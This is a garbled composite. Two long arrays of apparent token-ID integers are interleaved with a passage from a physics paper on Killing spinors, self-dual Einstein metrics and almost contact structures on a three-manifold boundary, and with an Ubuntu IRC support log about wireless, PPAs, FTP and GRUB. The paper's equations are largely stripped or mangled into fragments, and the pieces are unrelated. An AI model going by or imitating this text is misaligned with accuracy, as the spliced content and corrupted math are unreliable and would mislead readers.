1906, 2000, 66, 393, 4220, 63, 66, 2029, 1588, 473, 9, 90, 3822, 1292, 347, 669, 4220, 2253, 1906, 426, 551, 70, 63, 66, 11110, 1906, 393, 4220, 64, 66, 2029, 1588, 473, 9, 18, 16, 90, 10, 370, 285, 253, 1673, 4757, 35205, 347, 370, 39, 30, 39, 13061, 17, 49633, 90, 39, 13061, 18, 3117, 2766, 1588, 473, 9, 90, 63, 19, 1009, 359, 923, 326, 401, 2582, 35911, 23577, 7, 48936, 473, 9, 90, 10, 575, 15, 2732, 247, 13782, 359, 840, 4044, 905, 76, 339, 911, 4029, 565, 696, 209, 575, 30, 209, 575, 17, 575, 13, 835, 669, 1906, 2029, 4144, 13, 91, 1337, 2009, 1182, 1366, 285, 835, 905, 34, 17, 6301, 696, 329, 13380, 9, 17, 21687, 209, 575, 30, 209, 575, 14, 259, 13380, 9, 18, 21687, 299, 13380, 9, 20, 10, 33805, 18, 12, 35911, 16614, 88, 13380, 9, 17, 21687, 16, 19, 1181, 313, 2582, 91, 428, 27468, 93, 91, 45472, 259, 13380, 9, 17, 21687, 299, 13380, 9, 20, 10, 33805, 19, 14, 35911, 16614, 88, 13380, 9, 17, 21687, 16, 19, 1181, 313, 2582, 91, 559, 13380, 93, 91, 45472, 259, 13380, 9, 17, 21687, 299, 13380, 9, 20, 10, 33805, 20, 575, 13, 310, 253, 8840, 1340, 1307, 275, 253, 7466, 273, 370, 34, 5, 1677, 407, 3891, 34, 8001, 380, 43779, 5508, 263, 669, 4259, 5, 840, 35205, 347, 905, 44, 2354, 4347, 66, 696, 708, 48936, 23577, 17, 575, 13, 835, 669, 7597, 64, 17, 5, 310, 253, 8840, 1340, 4816, 90, 2911, 17777, 10, 629, 273, 253, 611, 41638, 5508, 263, 669, 7597, 1352, 4974, 46306, 436, 715, 4245, 247, 4283, 1340, 1307, 326, 310, 45963, 5058, 15, 380, 749, 16378, 1307, 840, 9563, 23577, 17, 708, 48936, 470, 575, 15, 187, 187, 510, 20553, 3891, 856, 11817, 9014, 275, 253, 1655, 3634, 13, 1239, 23577, 18, 23577, 17, 708, 48936, 23577, 17, 23577, 17, 575, 13, 23577, 20, 23577, 17, 209, 575, 30, 209, 575, 2582, 19, 23577, 17, 575, 15, 844, 778, 5206, 253, 1563, 6779, 273, 253, 17356, 12624, 27, 23577, 74, 708, 48936, 313, 187, 187, 60, 68, 260, 1181, 470, 708, 27468, 74, 12159, 187, 13380, 74, 1181, 708, 470, 187, 187, 10, 575, 13, 23577, 17, 209, 575, 30, 575, 9, 187, 187, 60, 68, 260, 1181, 470, 708, 309, 2582, 19, 61, 187, 14, 42, 2582, 19, 708, 470, 187, 187, 10, 575, 13, 342, 669, 2592, 64, 74, 5, 253, 49676, 12624, 35117, 25, 62, 380, 12378, 2515, 840, 3490, 669, 7597, 64, 17, 5, 281, 1379, 253, 830, 5180, 26, 62, 905, 7597, 17, 696, 23577, 17, 708, 48936, 187, 187, 61, 187, 17, 535, 575, 30, 17345, 187, 187, 2582, 17, 61, 187, 2582, 17, 535, 575, 15, 3856, 669, 4635, 5, 310, 247, 767, 14, 15658, 5508, 263, 285, 669, 4635, 64, 17, 5, 310, 3365, 247, 3638, 15, 380, 1264, 14, 6967, 43779, 5508, 263, 5150, 840, 4916, 905, 20, 69, 44, 2354, 696, 5081, 63, 15830, 20, 10, 45382, 74, 428, 329, 13380, 9, 17, 10, 74, 1181, 428, 259, 13380, 9, 18, 21687, 23577, 74, 2387, 708, 48936, 470, 575, 15, 831, 1264, 14, 6967, 43779, 5508, 263, 5150, 310, 10534, 273, 253, 830, 1119, 275, 1008, 2019, 375, 1178, 27, 6755, 579, 1092, 285, 5421, 275, 1008, 22088, 333, 27, 6622, 77, 5830, 1570, 3010, 10534 ]

form tangent to $M_3$ (y,z,|z)\_[M\_3]{} & = & \_[(0)]{}(z,|z) + y \_[(1)]{}(z,|z) + O(y\^2)\[phiexp\]. In fact by expanding (\[dphi\]) one can show that $\phi_{(1)}=0$. Of course, as usual one is free to redefine $r\rightarrow r \Omega(\psi,z,\bar{z})$, where $\Omega$ is any smooth, nowhere zero function on $M_3$, resulting in a conformal transformation of the boundary metric ${\mathrm{d}}s^2_{M_3}\rightarrow \Omega^2{\mathrm{d}}s^2_{M_3}$. However, in the present context notice that $r=1/y$ is a *natural* choice of radial coordinate. With the analytic boundary condition (\[wanalytic\]) for $w$ it follows automatically that $K=\partial_\psi$ is nowhere zero in a neighbourhood of the conformal boundary $y=0$. As we shall see, this will reproduce the same structure on $M_3$ as [@Closset:2012ru], but we should stress that this is not the general situation. For example, one could take the standard hyperbolic metric for Euclidean AdS, conformally embedded as a unit ball in ${\mathbb{R}}^4$, and take $K$ to be the Killing vector that rotates the first factor in ${\mathbb{R}}^2\oplus {\mathbb{R}}^2\cong {\mathbb{R}}^4$. In fact this will be the *natural* choice of $K$ that arises in the two-monopole solution described in appendix \[2pole\]. The ansatz (\[wanalytic\]) is thus certainly a restriction on the class of possible globally regular solutions, although all examples in section \[sec:explicit\] have choices of Killing vector for which this expansion holds. Returning to the case at hand, the conformal boundary is a compact three-manifold $M_3$ (by assumption), and from the above discussion a natural choice of representative for the metric is \[3metric\] s\^2\_[M\_3]{} &=& (+\_0)\^2 + 4\^[w\_[(0)]{}]{}z|[z]{} . Notice that the form of the metric (\[3metric\]) is precisely of the form studied in [@Alday:2013lba]. In that reference an important role is played by the one-form \[eta\] +\_0 , which has exterior derivative \[phi0\] = \_0 &=& 2\_y(V\^w)\_[y=0]{}z|[z]{} = w\_[(1)]{}\^[w\_[(0)]{}]{}z|[z]{} . The form $\eta$ is a global *almost contact one-form* on $M_3$. The most straightforward way to derive this in the case at hand is to note the form of the boundary Killing spinor equation in section \[sec:bKSE\] and appeal to the results of [@Closset:2012ru]. The Killing vector $K=\partial_\psi$ is the *Reeb vector* for the almost contact form $\eta$, as follows from the equations K&=& 1 , K = 0 . The orbits of $K$ thus foliate $M_3$, and moreover this foliation is transversely holomorphic with local complex coordinate $z$. When the orbits of $K$ all close it generates a $U(1)$ symmetry of the boundary structure, and the orbit space $M_3/U(1)$ is in general a compact orbifold surface, on which $z$ may be regarded as a local complex coordinate. These are generally called Seifert fibred three-manifolds in the literature. On the other hand, if $K$ has at least one non-closed orbit then since the isometry group of a compact manifold is compact, we deduce that $M_3$ admits at least a $U(1)\times U(1)$ symmetry, and the structure defined by $\eta$ is a *toric* almost contact structure. In this case we may introduce standard $2\pi$-period coordinates $\varphi_1$, $\varphi_2$ on the torus $U(1)\times U(1)$ and write \[Ktoric\] K &=& \_ = b\_1\_[\_1]{}+b\_2\_[\_2]{} . From (\[phi0\]) we deduce that the Taylor coefficient $w_{(1)}$ is a globally defined *basic* function on $M_3$ – that is, it is invariant under $K=\partial_\psi$. Moreover, the almost contact form $\eta$ is a *contact form* precisely when the function $w_{(1)}$ is everywhere positive. We shall see later that there are examples for which $\eta$ is contact and not contact. On the other hand, the coefficient $w_{(0)}$ is in general only a locally defined function of $z,\bar{z}$, as one sees by noting that the transverse metric $g_T = {\mathrm{e}}^{w_{(0)}}{\mathrm{d}}z{\mathrm{d}}\bar{z}$ is a global two-tensor, but in general the complex coordinate $z$ is defined only locally.[^7] It will be useful in what follows to define a corresponding transverse volume form \_T & & 2\^[w\_[(0)]{}]{}z|[z]{} . Again, this is a global tensor on $M_3$, with &=& \_0 = \_T . Boundary Killing spinor {#sec:bKSE} ----------------------- In this section we show that the Killing spinor $\epsilon$ induces a Killing spinor $\chi$ on the conformal boundary $M_3$ that solves the Killing spinor equation in [@Closset:2012ru]. We begin by recalling the orthonormal frame of one-forms \[SDEframe\] [e]{}\^0 &=& V\^[1/2]{}y , \^1 = V\^[-1/2]{}(+) , \^2 + [e]{}\^3 = (V\^w)\^[1/2]{}z , for the self-dual Einstein metric (\[SDE\]). We introduce a corresponding frame for the three-metric ${\mathrm{d}}s^2_{M_3}$ on the conformal boundary: \[fra1\] e\^1\_[(3)]{} = + \_[(0)]{} , e\_[(3)]{}\^2+e\_[(3)]{}\^3 = 2 \^[w\_[(0)]{}/2]{} z , and will use indices $i,j,k=1,2,3$ for this orthonormal frame. We next expand the four-dimensional Killing spinor equation as a Taylor series in $y$. One starts by noting that $\Gamma^\mu = {e^\mu}_a \Gamma^a=\mathcal O(y)$. But as $\Gamma_\mu = {e^a}_\mu \Gamma_a=\mathcal O(1/y) $ and the field strength expands as $F=F_{(0)}+yF_{(1)}+\mathcal O(y^2)$ we see that F\_ \^ \_& =& O(y) . After a computation we then obtain \[kseexpanint\] = 0 , where $\mu=\psi,z,\bar z$, and where \[A0frame\] A\_[(0)]{} = - w\_[(1)]{} e\_[(3)]{}\^1+ \^[-w\_[(0)]{}/2]{} (\_z - \_[|z]{}) w\_[(0)]{} e\_[(3)]{}\^2- \^[-w\_[(0)]{}/2]{} (\_z +\_[|z]{}) w\_[(0)]{} e\_[(3)]{}\^3 , is the lowest order term in the expansion of $A$ given by (\[A\]). The Killing spinor $\epsilon$ then expands as \[KSEexpa\] & =& \_0 , where $\zeta_0$ is the lowest order ($y$-independent) part of the Kähler spinor $\zeta$. Substituting this into gives a leading order term that is identically zero. The subleading term then reads \_0 & =& 0 . The projections (\[projections\]), in the current context, read \_1 \_0 & =& \_0 \_0 , \_3 \_0 = \_2 \_0 . We may choose the following representation of the gamma matrices: \_i & =& ( [c c]{} 0 & \_[i]{}\ \_[i]{} & 0 ) , \_0 = ( [c c]{} 0 & I\_2\ -I\_2 & 0 ) , with $\sigma_i$ the Pauli matrices.[^8] The projection conditions then force $\zeta_0$ to take the form[^9] \[zeta0\] \_0 & =& \ 0 = \_0\ \_0 . Here $\chi$ is a two-component spinor and $\chi_0$ is simply a constant. The three-dimensional Killing spinor equation then becomes \[3dKSE\] (\^[(3)]{}\_i - A\_[(0)i]{} - w\_[(1)]{} \_i ) & =& 0 . This three-dimensional Killing spinor equation is precisely of the form found in [@Closset:2012ru], and studied in [@Alday:2013lba]. More precisely

[ 187, 29, 5173, 266, 14, 81, 1321, 373, 404, 71, 31, 436, 10295, 3164, 310, 417, 2104, 281, 9446, 253, 29227, 11291, 40791, 285, 778, 417, 452, 253, 1463, 6254, 323, 352, 15, 187, 29, 5173, 266, 14, 81, 1321, 373, 404, 71, 31, 2007, 5839, 588, 2028, 479, 3517, 187, 29, 6623, 26948, 20133, 31, 327, 292, 968, 744, 1321, 27, 812, 2649, 891, 816, 513, 326, 672, 891, 7491, 253, 8323, 1262, 32, 187, 29, 312, 40826, 31, 288, 361, 76, 27, 849, 651, 891, 755, 352, 187, 29, 35567, 38, 74, 31, 717, 40826, 27, 752, 513, 368, 971, 281, 3334, 3736, 187, 29, 11063, 63, 31, 24387, 15, 187, 29, 5173, 266, 14, 81, 1321, 373, 404, 71, 31, 5717, 368, 512, 187, 29, 296, 2695, 525, 31, 1907, 11744, 3237, 1408, 272, 884, 15, 2125, 10309, 27, 4807, 293, 7974, 8942, 41706, 13829, 608, 2313, 2696, 47, 32440, 15, 883, 66, 16, 72, 16, 79, 36464, 4307, 4030, 342, 898, 15, 740, 13, 12371, 667, 1576, 281, 897, 253, 898, 15, 740, 6254, 390, 5046, 1014, 247, 4993, 32, 187, 29, 5173, 266, 14, 81, 1321, 373, 404, 71, 31, 588, 320, 896, 342, 625, 8692, 187, 29, 73, 361, 76, 31, 3098, 304, 90, 27, 8261, 13, 594, 352, 434, 1335, 2819, 275, 253, 3430, 1659, 187, 29, 257, 77, 300, 31, 440, 412, 13, 973, 309, 816, 1611, 264, 1097, 285, 6747, 789, 15, 309, 1849, 1694, 271, 2228, 751, 346, 2428, 8280, 16, 2135, 8777, 393, 79, 1691, 1071, 187, 29, 312, 40826, 31, 23184, 38, 74, 27, 18307, 14, 33710, 187, 29, 257, 77, 300, 31, 330, 18576, 8280, 16, 2135, 8777, 393, 79, 1691, 1071, 187, 29, 257, 77, 300, 31, 28564, 40267, 281, 1818, 9617, 15, 187, 29, 257, 77, 300, 31, 346, 187, 29, 6623, 836, 33355, 18, 31, 546, 77, 300, 27, 7764, 1053, 626, 10802, 13, 897, 3944, 1358, 23164, 15, 5646, 15, 681, 281, 15596, 13, 1053, 626, 897, 10871, 347, 17256, 2368, 15, 187, 29, 73, 361, 76, 31, 3098, 304, 90, 27, 752, 513, 368, 452, 7117, 327, 253, 1669, 1930, 32, 187, 29, 257, 77, 300, 31, 26197, 342, 3300, 20917, 251, 187, 29, 11063, 63, 31, 309, 816, 20582, 884, 15, 2125, 14425, 5357, 12323, 6235, 895, 13, 1223, 20864, 352, 537, 7850, 33676, 1529, 5522, 1873, 537, 11474, 309, 20582, 253, 1873, 534, 310, 818, 1976, 9180, 13, 2139, 697, 33676, 969, 32, 187, 29, 37, 5401, 4316, 2259, 31, 2257, 893, 268, 446, 91, 1060, 187, 29, 257, 77, 300, 31, 309, 897, 690, 11640, 342, 3857, 285, 5017, 84, 751, 326, 187, 29, 11801, 304, 90, 31, 288, 361, 76, 27, 3440, 6335, 13, 1132, 3550, 13, 285, 253, 581, 891, 816, 1160, 187, 29, 257, 77, 300, 31, 1292, 2717, 4307, 187, 29, 35567, 38, 74, 31, 717, 40826, 27, 923, 10584, 840, 13, 305, 17670, 604, 368, 816, 878, 271, 2232, 6917, 552, 15439, 313, 284, 1146, 642, 2173, 5522, 10, 187, 29, 11063, 63, 31, 309, 20582, 436, 3048, 27, 3944, 1358, 5646, 15, 15177, 3024, 15, 3024, 16, 49399, 16, 34400, 16, 77, 15912, 16, 34400, 14, 740, 15, 2125, 14, 3024, 3305, 14, 74, 20373, 15, 14699, 428, 533, 352, 20582, 347, 247, 964, 23537, 1873, 537, 187, 29, 328, 412, 31, 546, 77, 300, 13, 50276, 14193, 29, 3, 12467, 18, 3, 5, 11671, 79, 21288, 12467, 19, 3, 5, 11671, 79, 21288, 12467, 20, 3, 50276, 4, 14069, 187, 29, 73, 361, 76, 31, 3098, 304, 90, 27, 19619, 13, 987, 5532, 327, 253, 581, 368, 816, 1160, 13, 12921, 41020, 3607, 187, 29, 35567, 38, 74, 31, 4744, 63, 27, 3448, 1329, 16, 16690, 7211, 187, 29, 11063, 63, 31, 6101, 18, 476, 1361, 479, 499, 84, 32, 187, 29, 11801, 304, 90, 31, 288, 361, 76, 27, 465, 187, 29, 47956, 968, 744, 1321, 31, 2884, 26948, 20133, 27, 4754, 15, 533, 1335, 13, 891, 4517, 260, 9194, 1886, 625, 685, 13872, 8323, 10883, 352, 15, 326, 434, 816, 479, 187, 29, 328, 412, 31, 546, 77, 300, 13, 533, 604, 891, 497, 368, 891, 651, 1007, 715, 298, 39232, 3185, 187, 29, 73, 361, 76, 31, 3098, 304, 90, 27, 285, 835, 310, 326, 13458, 32, 187, 29, 35567, 38, 74, 31, 4744, 63, 27, 328, 6896, 285, 31934, 22, 2204, 352, 187, 29, 74, 37, 1714, 31, 309, 574, 247, 1895, 342, 11744, 275, 611, 1513, 280, 1051, 672, 309, 29393, 264, 619, 985, 4536, 11744, 651, 320, 13603, 275, 10701, 15821, 1051, 309, 812, 755, 352, 598, 285, 3515, 342, 271, 604, 5397, 259, 13409, 17, 598, 285, 840, 970, 259, 4904, 64, 4032, 663, 386, 533, 2990, 14, 20649, 651, 816, 921, 326, 11744, 310, 13603, 642, 2647, 752, 309, 858, 15, 733, 651, 5108, 327, 690, 29393, 84, 285, 789, 4030, 327, 2571, 15, 1292, 1024, 327, 298, 15912, 13, 697, 247, 9928, 1895, 537, 11744, 4307, 323, 690, 673, 533, 1024, 697, 9106, 4783, 347, 2080, 247, 187, 29, 74, 37, 1714, 31, 256, 2990, 14, 20649, 310, 7514, 15, 313, 42, 717, 970, 271, 17545, 608, 7554, 2696, 47, 3120, 342, 253, 891, 24966, 1530, 6333, 10, 309, 1663, 971, 281, 897, 10701, 7205, 537, 667, 1361, 651, 320, 14109, 15, 187, 29, 6623, 26948, 20133, 31, 327, 292, 968, 744, 1321, 27, 4344, 2217, 13, 419, 3227, 187, 29, 75, 17443, 18, 31, 1680, 627, 667, 1959, 1111, 13068, 3694, 281, 6184, 432, 3909, 323, 13520, 32, 187, 29, 4698, 316, 9884, 2091, 309, 1511, 1633, 275, 5606, 390, 275, 253, 9882, 1046, 3159, 4850, 762, 12490, 347, 3430, 15, 309, 717, 23629, 275, 305, 8592, 15, 1737, 513, 309, 452, 281, 3334, 281, 1056, 326, 15529, 32, 187, 29, 11801, 304, 90, 31, 288, 361, 76, 27, 1072, 1227, 8236, 16, 532, 351, 187, 29, 73, 361, 76, 31, 717, 40826, 27, 309, 1053, 626, 871, 752, 368, 1472, 2820, 281, 3334, 13, 533, 352, 2506, 626, 2226, 275, 253, 43445, 187, 29, 35567, 38, 74, 31, 4744, 63, 27, 5658, 403, 327, 3330, 3736, 187, 29, 73, 361, 76, 31, 3098, 304, 90, 27, 8261, 13, 1818, 326, 281, 253, 1227, 9511, 16, 12550, 4537, 14206, 29976, 10936, 16, 38499, 187, 29, 3335, 17841, 23341, 2960, 31, 327, 292, 968, 744, 1321, 27, 1694, 247, 1054, 281, 1361, 562, 3736, 9418, 187, 29, 312, 40826, 31, 288, 361, 76, 27, 891, 1353, 2820, 281, 3334, 436, 5987, 1358, 25932, 15, 3024, 32395, 70, 3695, 435, 23615, 22477, 16, 70, 3695, 33710, 187, 29, 257, 77, 300, 31, 19023, 440, 412, 6701, 247, 2257, 352, 2987, 1270, 15, 1292, 2139, 298, 39232, 32, 187, 29, 42576, 254, 10683, 31, 17459, 187, 29, 3152, 3681, 80, 31, 667, 7535, 2970, 253, 278, 15381, 15191, 281, 789, 12691, 275, 44905, 13, 323, 4096, 273, 10299, 32, 187, 29, 47956, 968, 744, 1321, 31, 7630, 280, 23341, 2960, 27, 4754, 15, 604, 891, 476, 15, 187, 29, 73, 361, 76, 31, 717, 40826, 27, 8261, 13, 594, 326, 434, 247, 268, 4904, 187, 29, 73, 361, 76, 31, 2195, 34043, 1040, 717, 40826, 187, 29, 312, 40826, 31, 288, 361, 76, 27, 50276, 74, 452, 253, 268, 4904, 8038, 187, 29, 32334, 31, 717, 40826, 27, 329, 23307, 30454, 29041, 313, 4785, 34, 10, 476, 2085, 17958, 3694, 417, 9403, 2130, 275, 253, 745, 474, 14425, 43445, 428, 23359, 323, 247, 367, 4899, 32, 2594, 5987, 1358, 25932, 15, 3024, 16, 5646, 23615, 377, 284, 428, 47303, 2637, 27, 20250, 1909, 403, 36542, 2626, 14, 14824, 12149, 13, 285, 943, 320, 908, 387, 634, 1211, 2495, 15, 187, 29, 3335, 17841, 23341, 2960, 31, 697, 281, 513, 342, 11744, 6303, 4438, 187, 29, 73, 361, 76, 31, 717, 40826, 27, 8261, 13, 840, 20850, 13390, 14, 788, 5731, 28, 20850, 13390, 14, 788, 3334, 3584, 356, 5116, 1568, 187, 29, 312, 40826, 31, 288, 361, 76, 27, 533, 672, 309, 1511, 3334, 18307, 14, 33710, 13, 891, 1053, 626, 755, 2712, 896, 187, 29, 35744, 87, 31, 19782, 27, 1359, 513, 368, 21282, 253, 15439, 6064, 32, 1594, 2061, 1057, 417, 1646, 281, 3794, 281, 46432, 14, 31879, 14, 30700, 187, 29, 3335, 17841, 23341, 2960, 31, 327, 292, 968, 744, 1321, 27, 697, 281, 513, 342, 11744, 6303, 4438, 187, 29, 73, 361, 76, 31, 717, 40826, 27, 1056, 2119, 281, 22906, 634, 5522, 1618, 806, 187, 29, 328, 412, 31, 546, 77, 300, 13, 984, 368, 3630, 247, 6001, 285, 1509, 326, 281, 298, 39232, 3185, 273, 970, 2410, 311, 4525, 3923, 1386, 21031, 187, 29, 47956, 968, 744, 1321, 31, 7630, 280, 23341, 2960, 27, 7016, 13, 533, 891, 476, 626, 1361, 342, 326, 187, 29, 78, 44023, 9884, 269, 187, 29, 18683, 24132, 31, 891, 452, 247, 1895, 30661, 50117, 89, 187, 29, 312, 40826, 31, 288, 361, 76, 27, 50276, 74, 858, 13, 2717, 2167, 15, 403, 368, 2104, 281, 6184, 352, 32, 187, 29, 42576, 254, 36893, 17459, 187, 29, 28094, 3305, 18, 31, 2195, 4239, 6058, 187, 29, 32334, 31, 380, 41337, 48979, 23472, 367, 301, 6058, 313, 42889, 443, 1468, 10, 313, 2413, 1358, 13070, 15, 5646, 15, 681, 16, 24925, 16, 49, 301, 6058, 10, 8525, 7852, 47, 13, 1594, 4548, 49, 313, 43, 357, 589, 13, 22733, 1278, 285, 11640, 582, 329, 2894, 13, 35309, 86, 14, 40, 324, 86, 13, 10733, 437, 5901, 3020, 13, 9276, 50, 13, 714, 2894, 13, 48674, 285, 2571, 15, 2594, 671, 2195, 44, 412, 16606, 187, 29, 3335, 17841, 23341, 2960, 31, 6101, 2915, 1175, 342, 2444, 342, 11744, 6303, 9561, 187, 29, 11801, 304, 90, 31, 288, 361, 76, 27, 2444, 9418, 6701, 187, 29, 35744, 87, 31, 2195, 44164, 187, 29, 42576, 254, 36893, 309, 452, 816, 29101, 432, 898, 15, 740, 281, 884, 15, 2125, 418, 187, 29, 47956, 968, 744, 1321, 31, 15063, 466, 27, 368, 1599, 253, 2505, 9882, 50117, 89, 32, 187, 29, 35567, 38, 74, 31, 717, 40826, 27, 368, 2879, 253, 268, 4904, 13, 13390, 95, 11183, 3534, 642, 2228, 3736, 187, 29, 74, 37, 1714, 31, 309, 574, 247, 1895, 342, 11744, 275, 611, 1513, 280, 1051, 672, 309, 29393, 264, 619, 985, 4536, 11744, 651, 320, 13603, 275, 10701, 15821, 1051, 309, 812, 755, 352, 598, 285, 3515, 342, 271, 604, 5397, 259, 13409, 17, 598, 285, 840, 970, 259, 4904, 64, 4032, 663, 386, 533, 2990, 14, 20649, 651, 816, 921, 326, 11744, 310, 13603, 642, 2647, 752, 309, 858, 15, 733, 651, 5108, 327, 690, 29393, 84, 285, 789, 4030, 327, 2571, 15, 1292, 1024, 327, 298, 15912, 13, 697, 247, 9928, 1895, 537, 11744, 4307, 323, 690, 673, 533, 1024, 697, 9106, 4783, 347, 2080, 247, 187, 29, 74, 37, 1714, 31, 256, 2990, 14, 20649, 310, 7514, 15, 313, 42, 717, 970, 271, 17545, 608, 7554, 2696, 47, 3120, 342, 253, 891, 24966, 1530, 6333, 10, 309, 1663, 971, 281, 897, 10701, 7205, 537, 667, 1361, 651, 320, 14109, 15, 187, 29, 73, 361, 76, 31, 717, 40826, 27, 642, 13, 309, 6468, 626, 3597, 13, 1056, 2119, 634, 16144, 310, 3451, 27, 20850, 13390, 14, 788, 3334, 18307, 14, 33710, 187, 29, 3152, 3681, 80, 31, 13353, 11853, 4648, 278, 15381, 275, 44905, 32, 187, 29, 73, 361, 76, 31, 3098, 304, 90, 27, 7353, 2, 187, 29, 47956, 968, 744, 1321, 31, 15063, 466, 27, 368, 1599, 253, 2505, 14, 3169, 4384, 9882, 50117, 89, 32, 187, 29, 42576, 254, 36893, 1244, 1024, 891, 476, 626, 8746, 7491, 715, 619, 8323, 1269, 81, 187, 29, 6623, 26948, 20133, 31, 327, 292, 968, 744, 1321, 27, 1223, 891, 717, 6179, 323, 436, 13, 513, 1484, 452, 667, 2934, 752, 812, 452, 4269, 436, 32, 187, 29, 73, 361, 76, 31, 20816, 254, 876, 27, 20850, 5731, 14, 737, 538, 275, 247, 8351, 187, 29, 312, 40826, 31, 23184, 38, 74, 27, 309, 755, 495, 6332, 428, 1097, 323, 13520, 16, 69, 1346, 285, 581, 323, 278, 514, 293, 187, 29, 18683, 24132, 31, 672, 891, 1265, 619, 4382, 1157, 395, 672, 253, 16164, 1705, 1157, 619, 3601, 564, 2806, 285, 891, 2550, 513, 2717, 2, 476, 368, 1361, 479, 32 ]

<jean-pierresainf> this kernel probably is not able to recognize the usb chip onboard and may not have the proper driver for it. <jean-pierresainf> further investigation will tell me soon <FluffyMaster> onetinsoldier: couldnt i just do that when i boot the windows disc? <amabo> h00k: how would i get it <DasEi> amabo: what do you want to install? <Mark^> Hello. <jean-pierresainf> thank you all <stopsign> having wireless problems runing 10.04 hardware:IntelÂ® WiFi Link 5100AGN 802.11a/g/n Wireless worked fine with 9.10, wondering anyways to use the 9.10 driver or maybe even a fix? <jean-pierresainf> will be back with more info <h00k> effigy: okay, so it's still looking in the wrong place <enlil> unop, well I just tryed both and neither work. I've got an error like "cd www/backups \n put test <amabo> DasEi: elementary-desktop <enlil> CWD www/backups \n put test <enlil> 550 Failed to change directory. <enlil> " <FloodBot1> enlil: Please don't flood, use http://paste.ubuntu.com to paste, don't use Enter as punctuation. <h00k> effigy: what do you have listed on the left side? <enlil> Same with semicolon <Mark^> I just downloaded 10.04 Ubuntu NetBook Remix, while installing it.. Its downloading another package file.. Though I downloaded the file which is 775MB, why its downloading again? <DarthScape> lotta pplz here <enlil> I use some variants with && and stuffs like that <effigy> h00k: music library, playlist, and the one i just made <enlil> But nothing worked <DasEi> amabo: see hook then, gdm if you just need an elemtary desktop (as being no specific package) <Mark^> I downloaded this link: http://ubuntu.qualitynet.net/releases/kubuntu/lucid/kubuntu-10.04-netbook-i386.iso - but it downloaded as a.rar file.. <unop> enlil, <<<"command1"$'\n'"command2"$'\n'"command3" #etc <h00k> effigy: Okay, right click on the one you just made, edit iPod properties <DasEi> Mark^: language support/release notes <Mark^> Any1 can help me pls? <effigy> h00k: k <onetinsoldier> FluffyMaster: yes. but still, i trust cfdisk more than letting windows partition it. that's just me <unop> enlil, but if i were you i would look into lftp instead <h00k> effigy: and where is that pointing? <DasEi> Mark^:unpack and md5sum it <iDope> I had a problem with wireless in Karmic... when I rebooted my system sometimes wireless would be disabled in Network Manager... I could get it up and running with an ifconfig wlan0 up and then using wpa_supplicant but network-manager would just show that wireless is disabled no matter what I did. It would happen on some reboots and work fine on others. But now on lucid, its a permanent problem.. wireless worked for some time but now its totally gone as far a <iDope> s network-manager is concerned. (I am using an Intel 5300AGN card with the iwlagn module) I really want to use Network manager.. any help would be appreciated. <FluffyMaster> onetinsoldier: fair enough, haha <jjk1> Is there any free matlab software to download from online for ubuntu? <markus_> When I type something in evolution or in the browser every word gets underlined as wrong. I am typing in german. What do I have to install to make that disappear? <effigy> h00k: same /media/ipod <h00k> amabo: I don't know what you're trying to install, but it doesn't exist in the repositories <DasEi> Mark^:you are on win? <h00k> effigy: okay, change that to the /home/youruser/.gfvs/whatever <dominicdinada> onetinsoldier: got a min to help out? :) <amabo> h00k: i'm trying to install this https://launchpad.net/~elementaryart/+archive/elementarydesktop <enlil> Ok unop thanks a lot it works great. But why lftp? <Traveler123> Hi <Whammo> any advice getting the mplayer plugin to work embedded in firefox, for purpose of flash? <onetinsoldier> dominicdinada: yes. if i can. <h00k> amabo: okay, so that's a ppa <h00k>!ppa | amabo <amabo> h00k: i have the ppa installed <ubottu> amabo: A Personal Package Archive (PPA) can provide alternate software not normally available in the offical Ubuntu repositories - Looking for a PPA? See https://launchpad.net/ubuntu/+ppas - WARNING: PPAs are unsupported third-party packages, and should be used at your own risk. <dominicdinada> its to do with wireless master mode <h00k> amabo: okay, then sudo apt-get update; sudo apt-get install packagenamehere <amabo> h00k: but when I type install elementary-desktop, i don't get anything back <bjv> Question: How do you zoom the desktop resolution? Xorg does not seem to respond to Ctrl-Alt-+/- <dominicdinada> onetinsoldier: its to do with wireless master mode <h00k> amabo: make sure to refresh your package list first <unop> enlil, because you write a script and pass that to lftp instead of using convoluted command line constructs <onetinsoldier> dominicdinada: sorry, but i can't help with that <michael_> f <melanie> i have a problem whit lynx <amabo> h00k: i did, nothing though. are you able to download it? <Traveler__> Hi <mrbook1>!pidgin <ubottu> The Instant Messenger Client Pidgin (formerly Gaim) (http://help.ubuntu.com/community/Pidgin) supports MSN, XMPP (Jabber, GTalk and variants), AIM, Gadu-Gadu, Novell Groupwise, ICQ, YIM, IRC and others. See also!Kopete <dominicdinada> Anybody good with working with wireless mastermode <effigy> h00k: working :) thanks <bjv>!zoom <Traveler__> I have just upgraded from 9.10 to 10.04 L <onetinsoldier> melanie: you mean the text browser lynx? <DasEi> amabo: you added the ppa, apt~update gave no error? <iDope> I had a problem with wireless in Karmic... when I rebooted my system sometimes wireless would be disabled in Network Manager... I could get it up and running with an ifconfig wlan0 up and then using wpa_supplicant but network-manager would just show that wireless is disabled no matter what I did. It would happen on some reboots and work fine on others. But now on lucid, its a permanent problem.. wireless worked for some time but now its totally gone as far a <iDope> s network-manager is concerned. (I am using an Intel 5300AGN card with the iwlagn module) I really want to use Network manager.. any help would be appreciated. <h00k> amabo: no, I haven't tried, make sure your syntax is correct: sudo apt-get install elementary-desktop <Whammo> surely somebody uses mplayer in firefox? <h00k> effigy: sweet! <onetinsoldier> melanie: you mean the text-based web browser lynx? <Traveler__> And now i can't dual boot into my windows xp <FluffyMaster> onetinsoldier: while i am waiting for this, do u have any idea what could have caused this? <h00k> Traveler__: sudo update-grub in a terminal <amabo> DasEi: I get 3 errors - both for ubuntu/dists and one for mactel <melanie> when i start my computer,and when the login come, my screen go black and i cannot do nothing! can you help me?

